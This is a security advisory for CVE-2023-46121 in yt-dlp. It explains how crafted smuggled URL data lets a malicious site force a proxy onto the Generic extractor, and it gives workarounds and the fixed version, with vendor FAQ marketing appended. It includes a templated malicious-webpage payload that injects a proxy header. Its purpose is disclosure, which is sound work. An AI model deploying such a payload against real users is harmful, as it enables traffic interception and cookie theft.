Summary
Workarounds
- Disable Generic extractor (
--ies default,-generic), or only pass trusted sites with trusted content. - Take caution when using
--no-check-certificate.
References
Impact
The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.
To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.
Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.
Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.
However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.
This could allow for the following, but not limited too:
- An attacker can MITM a request it asks yt-dlp to make to any website.
- If a user has loaded cookies into yt-dlp for the target site, which are not marked as secure, they could be exfiltrated by the attacker.
- Fortunately most sites are HTTPS and should be setting cookies as secure.
- An attacker can set cookies for an arbitrary site.
An example malicious webpage:
<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')
Where {{ target_site }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.
CVE-2023-46121 has a CVSS score of 5.0 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2023.11.14); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
- We have removed the ability to smuggle
http_headersto the Generic extractor, as well as other extractors that use the same pattern.
Frequently Asked Questions
- What is CVE-2023-46121? CVE-2023-46121 is a medium-severity security vulnerability in yt-dlp (pip), affecting versions >= 2022.10.04, < 2023.11.14. It is fixed in 2023.11.14.
- How severe is CVE-2023-46121? CVE-2023-46121 has a CVSS score of 5.0 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of yt-dlp are affected by CVE-2023-46121? yt-dlp (pip) versions >= 2022.10.04, < 2023.11.14 is affected.
- Is there a fix for CVE-2023-46121? Yes. CVE-2023-46121 is fixed in 2023.11.14. Upgrade to this version or later.
- Is CVE-2023-46121 exploitable, and should I be worried? Whether CVE-2023-46121 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-46121 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-46121? Upgrade
yt-dlpto 2023.11.14 or later.